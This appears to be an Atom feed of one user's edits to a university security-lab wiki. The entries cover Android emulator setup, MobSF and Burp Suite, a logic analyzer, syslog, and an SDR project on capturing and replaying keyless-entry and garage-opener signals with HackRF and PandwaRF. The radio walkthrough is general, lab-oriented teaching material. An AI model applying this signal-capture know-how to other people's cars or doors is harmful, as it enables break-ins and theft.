<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Ikramer</id>
	<title>Elvis Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Ikramer"/>
	<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php/Special:Contributions/Ikramer"/>
	<updated>2026-09-10T15:34:15Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.41.5</generator>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Android_Studio:_Emulator&amp;diff=14748</id>
		<title>Android Studio: Emulator</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Android_Studio:_Emulator&amp;diff=14748"/>
		<updated>2024-07-01T14:23:21Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Android-studio.png|200px|thumb|right|Android Studio Logo]]&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
In this documentation, we cover the topic of how to run an Android emulator with Android Studio in Kali Linux. &lt;br /&gt;
&lt;br /&gt;
This is not a detailed description of Android Studio, but only the configuration of a rooted emulator.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating System: Kali Linux&lt;br /&gt;
&lt;br /&gt;
== Setup ==&lt;br /&gt;
&lt;br /&gt;
Download the newest version of [https://developer.android.com/studio?hl=de Android Studio Iguana]&lt;br /&gt;
&lt;br /&gt;
Change the working directory to Downloads&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cd Downloads/&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Extract Android Studio with tar&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tar -xzvf android-studio-2023.2.1.25-linux.tar.gz&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Change the working directory to android-studio/bin&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cd android-studio/bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Start Android Studio&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./studio.sh&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Create Virtual Device ==&lt;br /&gt;
&lt;br /&gt;
1. On the &amp;quot;Welcome to Android Studio&amp;quot; page, select &#039;&#039;&#039;More Actions&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
2. Go into the &#039;&#039;&#039;Virtual Device Manager&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
3. Click on the &#039;&#039;&#039;+&#039;&#039;&#039; icon to add a new device.&lt;br /&gt;
&lt;br /&gt;
4. Choose a device based on your preferences. We chose &#039;&#039;&#039;Pixel 6 Pro&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
5. Select an x86 image (we recommend Android 7 or higher) with Google APIs but &#039;&#039;&#039;not Google Play&#039;&#039;&#039; to use a non-production image. We chose &#039;&#039;&#039;Android 9 (&amp;quot;Pie&amp;quot;)&#039;&#039;&#039;, API 28 &#039;&#039;&#039;without Google Play&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Set Environment Variables ==&lt;br /&gt;
&lt;br /&gt;
Open the bashrc file&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
nano ~/.bashrc&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Add to the end of the file the following line:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
export PATH=$PATH:/home/kali/Android/Sdk/emulator&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Save &amp;amp; Exit the file.&lt;br /&gt;
&lt;br /&gt;
Execute the bashrc file to make the changes effective:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
bash&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
To check if variables are added to PATH.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo $PATH&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Problem Fix ===&lt;br /&gt;
If problems appear about missing environment variables, then add these lines to ~/.bashrc &amp;amp; execute the file.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
export ANDROID_HOME=$HOME/Android/Sdk&lt;br /&gt;
export ANDROID_SDK_ROOT=$HOME/Android/Sdk&lt;br /&gt;
export PATH=$PATH:$ANDROID_HOME/tools&lt;br /&gt;
export PATH=$PATH:$ANDROID_HOME/platform-tools&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To check if variables are added.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo $PATH&lt;br /&gt;
echo $ANDROID_SDK_ROOT&lt;br /&gt;
echo $ANDROID_HOME&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Run the Virtual Device in the Terminal ==&lt;br /&gt;
&lt;br /&gt;
With the following command, the virtual device should be shown on the screen.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
emulator -avd &amp;lt;DEVICE-NAME&amp;gt; -writable-system -no-snapshot&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
emulator -avd Pixel_6_Pro_API_28 -writable-system -no-snapshot&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now the emulator is ready to go!&lt;br /&gt;
&lt;br /&gt;
=== Errors? ===&lt;br /&gt;
If any errors occur with the emulator, most errors can be solved by wiping the data of the device and starting anew.&lt;br /&gt;
&lt;br /&gt;
For this, you have to open Android Studio, select the device manager, and click on &amp;quot;wipe data&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
[[File:Wipe-data.png]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [https://developer.android.com/studio?hl=de Android Studio]&lt;br /&gt;
* [https://developer.android.com/studio/run/emulator?hl=de Android Studio Run Emulator]&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Mobile_security:_Burp_Suite_and_MobSF&amp;diff=14660</id>
		<title>Mobile security: Burp Suite and MobSF</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Mobile_security:_Burp_Suite_and_MobSF&amp;diff=14660"/>
		<updated>2024-04-09T14:54:53Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Mobile Security ==&lt;br /&gt;
&lt;br /&gt;
Mobile security is a crucial aspect of information security that focuses on protecting smartphones, tablets, and other mobile devices from threats and vulnerabilities. It encompasses a range of practices, technologies, and solutions designed to safeguard mobile devices and the data they contain. Two prominent tools used in mobile security are Mobile Security Framework (MobSF) and Burp Suite.&lt;br /&gt;
&lt;br /&gt;
=== Mobile Security Framework (MobSF) ===&lt;br /&gt;
&lt;br /&gt;
==== Overview ====&lt;br /&gt;
MobSF is an automated, all-in-one mobile application security testing framework capable of performing static analysis, dynamic analysis, and web API testing. It is open-source and supports both Android and iOS applications.&lt;br /&gt;
&lt;br /&gt;
==== Features ====&lt;br /&gt;
* &#039;&#039;&#039;Static Analysis:&#039;&#039;&#039; MobSF scans the source code of mobile apps to identify security vulnerabilities, insecure code practices, and privacy-related issues.&lt;br /&gt;
* &#039;&#039;&#039;Dynamic Analysis:&#039;&#039;&#039; It runs the application in a controlled environment to monitor its behavior and identify security weaknesses during runtime.&lt;br /&gt;
* &#039;&#039;&#039;Web API Testing:&#039;&#039;&#039; MobSF can assess the security of web APIs used by mobile applications.&lt;br /&gt;
* &#039;&#039;&#039;Easy Integration:&#039;&#039;&#039; It is designed for easy integration with other security tools and continuous integration/continuous deployment (CI/CD) pipelines.&lt;br /&gt;
* &#039;&#039;&#039;Report Generation:&#039;&#039;&#039; Provides detailed and comprehensive reports highlighting security flaws and recommendations for remediation.&lt;br /&gt;
&lt;br /&gt;
==== Use Cases ====&lt;br /&gt;
* Security auditing of mobile applications.&lt;br /&gt;
* Integrating security testing in the app development lifecycle.&lt;br /&gt;
* Training and educational purposes in mobile security.&lt;br /&gt;
&lt;br /&gt;
=== Burp Suite ===&lt;br /&gt;
&lt;br /&gt;
==== Overview ====&lt;br /&gt;
Burp Suite is a popular tool for web application security testing. While primarily designed for web applications, it is also highly effective in testing the security of mobile applications, especially those that interact with web services.&lt;br /&gt;
&lt;br /&gt;
==== Features ====&lt;br /&gt;
* &#039;&#039;&#039;Interception Proxy:&#039;&#039;&#039; Allows interception and modification of HTTP/HTTPS traffic between the mobile app and its backend server.&lt;br /&gt;
* &#039;&#039;&#039;Scanner:&#039;&#039;&#039; Automated scanning tool for identifying vulnerabilities.&lt;br /&gt;
* &#039;&#039;&#039;Intruder:&#039;&#039;&#039; A powerful tool for performing customized attacks to test for vulnerabilities.&lt;br /&gt;
* &#039;&#039;&#039;Repeater:&#039;&#039;&#039; Facilitates manual testing by allowing the resending of requests with modified inputs.&lt;br /&gt;
* &#039;&#039;&#039;Decoder and Comparer:&#039;&#039;&#039; Tools for decoding data formats and comparing responses.&lt;br /&gt;
&lt;br /&gt;
==== Use Cases ====&lt;br /&gt;
* Intercepting and analyzing traffic between mobile apps and backend services.&lt;br /&gt;
* Identifying vulnerabilities in mobile app web interfaces.&lt;br /&gt;
* Manual and automated security testing of mobile applications.&lt;br /&gt;
&lt;br /&gt;
=== Integration of MobSF and Burp Suite ===&lt;br /&gt;
&lt;br /&gt;
==== Synergy ====&lt;br /&gt;
Integrating MobSF and Burp Suite provides a comprehensive approach to mobile security. MobSF&#039;s capabilities in static and dynamic analysis complement Burp Suite&#039;s strengths in intercepting and analyzing web traffic. This combination allows for thorough examination of both the client-side and server-side components of mobile applications.&lt;br /&gt;
&lt;br /&gt;
==== Workflow ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Initial Assessment:&#039;&#039;&#039; Use MobSF for an initial static and dynamic analysis of the mobile app.&lt;br /&gt;
* &#039;&#039;&#039;Traffic Analysis:&#039;&#039;&#039; Utilize Burp Suite&#039;s interception proxy to analyze and manipulate the traffic between the app and its backend.&lt;br /&gt;
* &#039;&#039;&#039;Vulnerability Identification:&#039;&#039;&#039; Employ Burp Suite&#039;s scanning and intrusion tools to identify and exploit web-based vulnerabilities.&lt;br /&gt;
* &#039;&#039;&#039;Final Report:&#039;&#039;&#039; Combine findings from both tools for a comprehensive security assessment report.&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
The combination of Mobile Security Framework and Burp Suite offers a robust solution for addressing the complexities of mobile security. By leveraging the unique strengths of each tool, security professionals can conduct in-depth security assessments, ensuring the protection of mobile applications against a wide range of threats.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://portswigger.net/burp/documentation&lt;br /&gt;
* https://mobsf.live/&lt;br /&gt;
* https://mobsf.github.io/docs/#/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Software-defined_radio_(SDR):_Relay_Attacks&amp;diff=14652</id>
		<title>Software-defined radio (SDR): Relay Attacks</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Software-defined_radio_(SDR):_Relay_Attacks&amp;diff=14652"/>
		<updated>2024-03-12T18:40:49Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
&lt;br /&gt;
We want to simulate a keyless car hacking situation. Therefore we want to interfere with a connection between a car and a car key during the unlocking process.&lt;br /&gt;
The key question is: How does a Passive Keyless Entry (PKE) system works? PKE communication is an electronic locking system which is mainly used for entering cars without the need of a key. The locking system uses passive components (keys) which will be activated by the car. The car constantly transmits its recognition signal, range is about 1.5-3 meters.&lt;br /&gt;
One of the most used systems is the so-called “keyless entry system”. Therefore, the car environment is surrounded by periodically low frequency signals about 130 kHz. If the right key is in this zone, the chip is reacting with those low frequencies and is creating an ID with ASK / FSK modulated signals.&lt;br /&gt;
Therefore, we got 2 possibilities:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; 1.     The car is sending a LF signal with some kind of “wake up signal”. &#039;&#039;&#039;&lt;br /&gt;
#  	The car is sending permanent wake up signals.&lt;br /&gt;
# 	If a “keyless entry key” is near a car which has the keyless entry technology, an “Acknowledgement” will be transmitted to the car.&lt;br /&gt;
#  	If the key and car fits together, an ID check between the car and the key will begin.&lt;br /&gt;
# 	The car is sending an ID to the key – if it fits, the key is transmitting the right key code. If the key code fits to the one of the automotive, the car is opening.&lt;br /&gt;
&#039;&#039;&#039;2.     The car sends a LF signal with a car ID. &#039;&#039;&#039;&lt;br /&gt;
#  	Periodically a LF signal is transmitted by the car.&lt;br /&gt;
# 	If a “keyless entry key” is nearby and the ID fits to the one of the car’s, the key transmits the right “key code”. If the key code fits to the car key code, the car is going to open.&lt;br /&gt;
&lt;br /&gt;
== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation is about SDR (Software defined radio) and relay attacks. This document will give you a better understanding of these definitions and how some devices in IOT can/could be attacked with SDR relay attacks. This documentations will also provides detailed information about devices we used, the setup of these devices and other requirements. &lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; Software &#039;&#039;&#039;&lt;br /&gt;
*Computer with native Kali-Linux installed.&lt;br /&gt;
*License for PandwaRF.&lt;br /&gt;
*PandwaRF App for Android. (Must be a device with latest Android version installed)&lt;br /&gt;
*Universal Radio Hacker&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
===Rolling Codes vs. Fixed Codes===&lt;br /&gt;
&lt;br /&gt;
Remote controls send a digital code word to the receiver. If the receiver considers the code as correct, the sender will do the stuff which it is programmed for. For example: opening a door, closing, blocking, holding or locking etc. Simple remote controls use fixed code word. That means the code word which opens the a door today, would open the door some time in the future with the same code word. An attacker who has the right device to capture a code, could easily capture the simple code and send it sometime later to open the door. Some safer systems would use so called &amp;quot;Rolling codes&amp;quot;. With rolling codes, hacker would be able to capture a signal, but to retransmit these signal, he need to know the algorithm behind the rolling code in order to open the door because the captured code is used already and therefore deleted in the code algorithm. The rolling code system uses an encryption method which allows the sender and the receiver to use share codewords in to make it harder for the attacker to steal the code. &lt;br /&gt;
&lt;br /&gt;
=== Pentesting with PandwaRF ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; Step 1 &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
#Install the application on your Android Phone.&lt;br /&gt;
#Open the Device.&lt;br /&gt;
#Install the antennas. (Never use a SDR Device without antennas.)&lt;br /&gt;
#Connect the PandwaRF via USB-C to your phone.&lt;br /&gt;
#Open the application.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; Step 2 &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
#The device should have connected with your application. If not, do it manually in the search tab.&lt;br /&gt;
#After the device has connected, you can use the spectrum analyser to analyse the frequency which the device captures. If you want to get your desired signal, you need to choose your frequency. &lt;br /&gt;
#At the Rx/Tx tab you can scan you signal which you try to capture. It is even possible to auto detect a signal which is sent.The pandwaRF will give you the captured signal in hex or in Binary which you can afterwards analyze. &lt;br /&gt;
#In order to transmit a captured signal, you need to buy a &amp;quot;Kaiju License&amp;quot;. Kaiju is an online tool where you can analyze rolling code and generate those. Kaiju is mainly used to attack systems which use rolling code. &lt;br /&gt;
&lt;br /&gt;
Side Note: You won´t be able to use PandwaRF to open your car. After long researches and communication with the manufacturer, the car opener function is only allowed for the goverment or law enforcement.&lt;br /&gt;
&lt;br /&gt;
=== Pentesting with HackRF One ===&lt;br /&gt;
*Warning: The HackRF One will not be able to transmit on windows &lt;br /&gt;
&#039;&#039;&#039; Step 1 &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
#Set up a laptop with native kali linux &lt;br /&gt;
#If you want dual boot on your local machine use these instructions. With dual boot you will be able to use Windows and Kali Linux native simultaneously.&lt;br /&gt;
&lt;br /&gt;
* Dualboot on windows machine &lt;br /&gt;
&lt;br /&gt;
#You need a USB stick with a minimum of 8gb storage&lt;br /&gt;
#Download Kali image from official website https://www.kali.org/docs/development/live-build-a-custom-kali-iso/&lt;br /&gt;
#Download e.g. Etcher to flash the image on the USB stick to make it bootable https://www.balena.io/etcher/&lt;br /&gt;
#On the computer enter BIOS and change the BIOS-Mode to Legacy instead of Secure Boot (if secure boot is enabled). Secure boot prevents booting from external device! Then change the BIOS-Priority to “USB” first.&lt;br /&gt;
#For further information follow the instructions on the official website https://www.kali.org/docs/usb/live-usb-install-with-linux/&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; Step 2 &#039;&#039;&#039;&lt;br /&gt;
* Driver Installation on HackRF One&lt;br /&gt;
#Download Zadig https://zadig.akeo.ie/&lt;br /&gt;
#Only compatible with Windows &lt;br /&gt;
&lt;br /&gt;
* Set-up HackRF on Linux&lt;br /&gt;
#	Sudo apt-get update&lt;br /&gt;
#	Sudo apt-get -y install hackrf&lt;br /&gt;
&lt;br /&gt;
Download Universal Radio Hacker on Linux machine&lt;br /&gt;
* First method &lt;br /&gt;
#	Sudo python3 -m pip install –upgrade pip&lt;br /&gt;
#	Sudo python3 -m pip install urh&lt;br /&gt;
* Second method &lt;br /&gt;
#	Sudo apt -y install urh&lt;br /&gt;
* Third method&lt;br /&gt;
#	git clone https://github.com/jopohl/urh&lt;br /&gt;
#   cd urh&lt;br /&gt;
#   python setup.py install&lt;br /&gt;
* Start Universal Radio Hacker with the command “urh”&lt;br /&gt;
#	Choose HackRF&lt;br /&gt;
#	Enter the frequency&lt;br /&gt;
&lt;br /&gt;
=== Nesdr Smart – receive only ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; Step 1 &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Install the driver with zadig (detailed information in the HackRF One section)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; Step 2 &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Enter the RTL-SDR the “Device” option of the device settings and the frequency and you are ready to receive signals!&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* HackRF One&lt;br /&gt;
* PandwaRF&lt;br /&gt;
* Nooelec SDR&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
We were able to receive signals with all three Software defined radios. However, HackRF One was the only device which allowed us to transmit signals too. It should be possible to transmit signal with PandwaRF as well (Only for Garage Openers), but we struggled with the Kaiju license, which is necessary for the transmission process. Therefore, we were able to achieve our project goals with the HackRF One.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=5CsD8I396wo&amp;amp;t=327s&lt;br /&gt;
* https://www.essentracomponents.com/en-gb/news/product-resources/explaining-remote-keyless-entry-in-cars&lt;br /&gt;
* https://en.wikipedia.org/wiki/Rolling_code#:~:text=A%20rolling%20code%20(or%20sometimes,and%20keyless%20car%20entry%20systems&lt;br /&gt;
* https://www.youtube.com/watch?v=XrRGDQ2IzDE&lt;br /&gt;
* https://en.wikipedia.org/wiki/Remote_keyless_system&lt;br /&gt;
* https://sectigo.com/resource-library/why-automotive-key-fob-encryption-hacks-are-making-headlines&lt;br /&gt;
* https://rolling.pandwarf.com/&lt;br /&gt;
* https://www.offensive-wireless.com/how-to-install-universal-radio-hacker/&lt;br /&gt;
* https://installati.one/ubuntu/20.04/hackrf/&lt;br /&gt;
* https://zadig.akeo.ie/&lt;br /&gt;
* https://www.kali.org/docs/usb/live-usb-install-with-linux/&lt;br /&gt;
* https://www.balena.io/etcher/&lt;br /&gt;
* https://www.kali.org/docs/introduction/download-official-kali-linux-images/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Saleae_Logic_Analyzer_Setup&amp;diff=14651</id>
		<title>Saleae Logic Analyzer Setup</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Saleae_Logic_Analyzer_Setup&amp;diff=14651"/>
		<updated>2024-03-12T18:39:50Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This article shows how the Saleae Logic Analyzer is set up.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Windows 10&lt;br /&gt;
* Software: Logic 2.4.4 (or newer versions)&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1 ===&lt;br /&gt;
&lt;br /&gt;
Download the software for analyzing the traffic captured on the digital circuit:&lt;br /&gt;
&lt;br /&gt;
* Go to https://www.saleae.com/downloads/&lt;br /&gt;
* Click on &amp;quot;Download for Windows&amp;quot;&lt;br /&gt;
* The download starts automatically&lt;br /&gt;
* Follow the instructions of the installation wizard&lt;br /&gt;
&lt;br /&gt;
=== Step 2 ===&lt;br /&gt;
&lt;br /&gt;
* Connect the wires with the logic analyzer  &lt;br /&gt;
** The black wires represent GND which are connected to the lower part of the channels&lt;br /&gt;
* Connect the Logic Analyzer via USB to the PC or Laptop&lt;br /&gt;
&lt;br /&gt;
=== Step 3 ===&lt;br /&gt;
&lt;br /&gt;
* Open the Logic 2.4.4 (or newer versions)&lt;br /&gt;
* The device should connect automatically&lt;br /&gt;
* [[File:Logic 2.4.4 Start.png]]&lt;br /&gt;
&lt;br /&gt;
On the right side the 8 channels are listed with colored backgorunds. In this case the Saleae Logic Analyzer 8 provides 8 channels of which each channel can be activated/deactivated individually by clicking the corresponding button. On the navigation bar of the software the category &amp;quot;Capture&amp;quot; is found. When clicking on it, the option &amp;quot;Start/Stop Capture&amp;quot; is shown. After clicking &amp;quot;Start/Stop Capture&amp;quot; the analyzer starts capturing.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:Logic 2.4.4 Capture.png]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.saleae.com/downloads/&lt;br /&gt;
* https://support.saleae.com/getting-started/setup&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Linux_Syslog&amp;diff=14650</id>
		<title>Linux Syslog</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Linux_Syslog&amp;diff=14650"/>
		<updated>2024-03-12T18:38:56Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Linux uses the syslog standard for message logging, this allows programms and applications to generate messages that can be captured, processed and stored by the system logger. It eliminates the need for each and every application having to come up with and implement a logging mechanism on their own and also means that logging can be configured and controlled in a centralized location. &lt;br /&gt;
Syslog file is one of the importants log files. It contains almost all messages. This file is therefore well suited for the analysis of many problems.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
A syslog server accepts syslog messages and processes, those messages based on a set of configurable rules.&lt;br /&gt;
&lt;br /&gt;
Traditionally the &#039;&#039;&#039;syslogd&#039;&#039;&#039; daemon filled this role but many Linux distributions now ship with alternatives such as:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;rsyslog&#039;&#039;&#039; (rocket-fast system for log processing)&lt;br /&gt;
* &#039;&#039;&#039;syslog-ng&#039;&#039;&#039; (ng stands for next-generation)&lt;br /&gt;
&lt;br /&gt;
== How it works ==&lt;br /&gt;
&lt;br /&gt;
The Syslog Standard uses facilities and severities to categorize messages. Facilities are used to indicate what type of program or what part of the system the message originated from, e.g.&lt;br /&gt;
* Facility: messages that are labeled with a kernel facility originate from the Linux kernel.&lt;br /&gt;
* Severities on the other hand are used to categorize messages based on their urgency. The severities are emergency, alert, critical, error, warning, notice informational and debug.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; &lt;br /&gt;
|-&lt;br /&gt;
! Code&lt;br /&gt;
! Facilities&lt;br /&gt;
! Code&lt;br /&gt;
! Severities&lt;br /&gt;
|-&lt;br /&gt;
| 0&lt;br /&gt;
| kernel&lt;br /&gt;
| 0&lt;br /&gt;
| emergency&lt;br /&gt;
|-&lt;br /&gt;
| 1&lt;br /&gt;
| user&lt;br /&gt;
| 1&lt;br /&gt;
| alert&lt;br /&gt;
|-&lt;br /&gt;
| 2&lt;br /&gt;
| mail&lt;br /&gt;
| 2&lt;br /&gt;
| critical&lt;br /&gt;
|-&lt;br /&gt;
| 3&lt;br /&gt;
| auth&lt;br /&gt;
| 3&lt;br /&gt;
| error&lt;br /&gt;
|-&lt;br /&gt;
| 4&lt;br /&gt;
| syslog&lt;br /&gt;
| 4&lt;br /&gt;
| warning&lt;br /&gt;
|-&lt;br /&gt;
| 5&lt;br /&gt;
| cron&lt;br /&gt;
| 5&lt;br /&gt;
| notice&lt;br /&gt;
|-&lt;br /&gt;
| 6&lt;br /&gt;
| line printer (lpr)&lt;br /&gt;
| 6&lt;br /&gt;
| informational&lt;br /&gt;
|-&lt;br /&gt;
| 7&lt;br /&gt;
| network news (nntp)&lt;br /&gt;
| 7&lt;br /&gt;
| debug&lt;br /&gt;
|-&lt;br /&gt;
| 8&lt;br /&gt;
| unix-toUnix Copy (UUCP)&lt;br /&gt;
|-&lt;br /&gt;
| 9&lt;br /&gt;
| clock&lt;br /&gt;
|-&lt;br /&gt;
| 10&lt;br /&gt;
| security/authorization&lt;br /&gt;
|-&lt;br /&gt;
| 11&lt;br /&gt;
| FTP&lt;br /&gt;
|-&lt;br /&gt;
| 12&lt;br /&gt;
| NTP&lt;br /&gt;
|-&lt;br /&gt;
| 13&lt;br /&gt;
| log audit&lt;br /&gt;
|-&lt;br /&gt;
| 14&lt;br /&gt;
| log alert&lt;br /&gt;
|-&lt;br /&gt;
| 15&lt;br /&gt;
| clock daemon (formerly cron  in RFC 3164)&lt;br /&gt;
|-&lt;br /&gt;
| 16&lt;br /&gt;
| local use 0-7 (local0-local7)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A syslog service uses configurable logging rules to determine what to do with the given message, these rules use combinations of facilities and severities. In most cases messages are simply written to a file in the &#039;&#039;&#039;/var/log&#039;&#039;&#039; directory somewhere but you can do advanced things such as send the messages over the network to a central location. If you want to generate your own log messages for example when you’re writing shell scripts use the &#039;&#039;&#039;logger&#039;&#039;&#039; command-line utility. To automatically prune files and keep your disks from filling up with old messages use the &#039;&#039;&#039;logrotate&#039;&#039;&#039; utility.&lt;br /&gt;
&lt;br /&gt;
The following example shows the entries in &#039;&#039;&#039;/var/log/syslog&#039;&#039;&#039; after starting a Ubuntu 20.04 system further below the entries that occur when connecting a USB stick:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Jan  4 06:10:20 bitsf kernel: [    0.000000] Linux version 5.8.0-53-generic (buildd@lcy01-amd64-012) (gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, GNU ld (GNU Binutils for Ubuntu) 2.34) #60~20.04.1-Ubuntu SMP Thu May 6 09:52:46 UTC 2021 (Ubuntu 5.8.0-53.60~20.04.1-generic 5.8.18)&lt;br /&gt;
Jan  4 06:10:20 bitsf kernel: [    0.000000] Command line: BOOT_IMAGE=/boot/vmlinuz-5.8.0-53-generic root=UUID=5c80c0a8-2833-4cc9-be7f-6ca343989eb6 ro quiet splash&lt;br /&gt;
Jan  4 06:10:20 bitsf kernel: [    0.000000] KERNEL supported cpus:&lt;br /&gt;
Jan  4 06:10:20 bitsf kernel: [    0.000000]   Intel GenuineIntel&lt;br /&gt;
Jan  4 06:10:20 bitsf kernel: [    0.000000]   AMD AuthenticAMD&lt;br /&gt;
Jan  4 06:10:20 bitsf kernel: [    0.000000]   Hygon HygonGenuine&lt;br /&gt;
Jan  4 06:10:20 bitsf kernel: [    0.000000]   Centaur CentaurHauls&lt;br /&gt;
Jan  4 06:10:20 bitsf kernel: [    0.000000]   zhaoxin   Shanghai&lt;br /&gt;
